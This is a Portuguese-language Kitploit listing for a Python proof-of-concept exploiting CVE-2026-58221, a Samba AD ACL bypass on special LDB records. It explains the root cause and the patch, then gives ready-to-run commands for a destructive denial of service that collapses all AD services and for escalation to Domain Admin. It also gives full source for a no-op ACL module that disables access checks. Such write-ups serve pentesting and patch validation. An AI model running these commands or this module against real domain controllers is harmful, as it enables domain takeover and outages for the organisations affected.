Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-58221 — PoC em Python para CVE-2026-58221: verifica e explora o bypass de ACL de DN especial do Samba AD LDB via LDAP para comprovar acesso de escrita, derrubar serviços do AD ou escalar para Domain Admin. | Kitploit
Ferramentas/GitHubGitHub/devali00/cve-2026-58221
Autenticação e AutorizaçãoEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoLabs e Prática
GitHubdevali00/cve-2026-58221

CVE-2026-58221

PoC em Python para CVE-2026-58221: verifica e explora o bypass de ACL de DN especial do Samba AD LDB via LDAP para comprovar acesso de escrita, derrubar serviços do AD ou escalar para Domain Admin.

Ver Repositório
há 1 mêsAinda não revisado
Compartilhar

CVE-2026-58221 — Tomada de Controle de Domínio do Samba AD via Modificação de DN Especial no LDB

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Qualquer usuário de domínio autenticado pode modificar registros especiais internos do Samba LDB (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, levando a Negação de Serviço (derrubar todos os serviços do AD) ou escalada para Domain Admin (com acesso ao sistema de arquivos local).

Versões Afetadas

StatusVersões
VulnerávelSamba AD DC >= 4.0.0 (todas as versões anteriores ao patch)
Corrigido4.22.11, 4.23.x, 4.24.x

Aviso: https://www.samba.org/samba/security/CVE-2026-58221.html

Causa Raiz

Duas falhas se combinam para contornar todos os controles de acesso nos registros internos do LDB do Samba:

Falha 1: rootdse_filter_operations() — Verificação de Autenticação Insuficiente

Em source4/dsdb/samdb/ldb_modules/rootdse.c, a função rootdse_filter_operations() é o primeiro filtro na cadeia de requisições LDAP. Ela bloqueia apenas chamadores anônimos — qualquer usuário autenticado passa, independentemente de privilégios:

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

Falha 2: acl.c — Bypass de ACL para DNs especiais

Em source4/dsdb/samdb/ldb_modules/acl.c, o módulo ACL ignora todas as verificações de permissão para DNs especiais do LDB (aqueles que começam com @), assumindo que apenas operações internas confiáveis chegam até eles:

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

Efeito combinado: Um usuário de domínio autenticado com baixos privilégios envia uma solicitação de modificação LDAP direcionada a @MODULES. Ela passa por rootdse_filter_operations() (não anônima), chega a acl.c, que vê um DN especial e ignora todas as verificações de ACL — a modificação é bem-sucedida.

O Patch (4.22.11+)

A correção adiciona uma verificação ldb_dn_is_special() em rootdse_filter_operations() antes de a solicitação chegar ao módulo ACL:

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

Análise Profunda da Arquitetura

LDB (Lightning Database)

LDB é o banco de dados interno do Samba (sam.ldb), equivalente ao NTDS.dit do Windows. Ele armazena todos os objetos do Active Directory e usa uma arquitetura de cadeia de módulos para processar requisições.

O Meta-Módulo samba_dsdb

samba_dsdb é o ponto de entrada único que inicializa toda a cadeia de módulos do Samba (~30 módulos). Ele:

  1. Lê a lista de módulos codificada em samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)
  2. Define o opaque forced_module_msg — que sobrescreve qualquer valor de @PARTITION/modules armazenado no banco de dados
  3. Inicializa rootDSE, partições e opaques dos quais todos os outros módulos dependem

É por isso que módulos individuais não podem ser carregados de forma independente — eles falham com Protocol error (2) sem o contexto que samba_dsdb fornece. É também por isso que modificar @PARTITION/modules no banco de dados não tem efeito sobre a cadeia de módulos em execução.

DNs Especiais Principais

DNPropósitoImpacto da Modificação
@MODULES/@LISTControla quais módulos o Samba carrega por conexãoFalha (se alterado de samba_dsdb)
@PARTITIONConfiguração de partições e módulos por partiçãoIgnorado (sobrescrito por forced_module_msg)
@SAMBA_DSDBConfiguração interna do samba_dsdbFalha

Métodos de Exploração

Método 1: safe-write (Não Destrutivo) ✅

Grava de volta o mesmo valor (@LIST: samba_dsdb) em @MODULES. Comprova o acesso de escrita sem qualquer impacto no serviço. Recomendado para pentests.

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

Método 2: dos (Destrutivo) ⚠️

Substitui @MODULES/@LIST por nomes de módulos individuais (excluindo acl/aclread). Na próxima conexão, os módulos falham ao inicializar sem o contexto samba_dsdb → todos os serviços AD entram em colapso (LDAP, SMB, Kerberos, DNS).

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

Impacto: Interrupção total do AD. A recuperação exige acesso ao console local. Toda a autenticação de domínio para.

Método 3: escalate (Domain Admin — Requer Acesso Local) 🔴

Cadeia completa de exploração para obter Domain Admin:

  1. Confirmar que @MODULES é gravável via LDAP (remoto)
  2. Compilar módulos ACL no-op que deixam passar todos os pedidos (local)
  3. Substituir acl.so / aclread.so por versões no-op (local)
  4. Reiniciar o Samba para carregar os módulos no-op (local)
  5. Adicionar o utilizador alvo ao grupo Domain Admins via LDAP (remoto — ACL contornada)
  6. Verificar a pertença a DA (remoto)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

Código-fonte do módulo ACL no-op:

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

Modos de Ferramenta

ModoImpactoRequer
--checkNenhum (seguro)LDAPS + credenciais de domínio
--assessNenhum (análise)LDAPS + credenciais de domínio
--exploit --method safe-writeNenhum (comprova escrita)LDAPS + credenciais de domínio
--exploit --method dosInterrupção total do ADLDAPS + credenciais de domínio
--exploit --method escalateDomain AdminLDAPS + credenciais de domínio + sudo no DC
--cleanupReverte a escaladaLDAPS + credenciais de domínio + sudo no DC
--fixRestaura o DC travadoConsole local no DC

Exemplos de Uso

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force

# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    343
  • 5

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    258

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →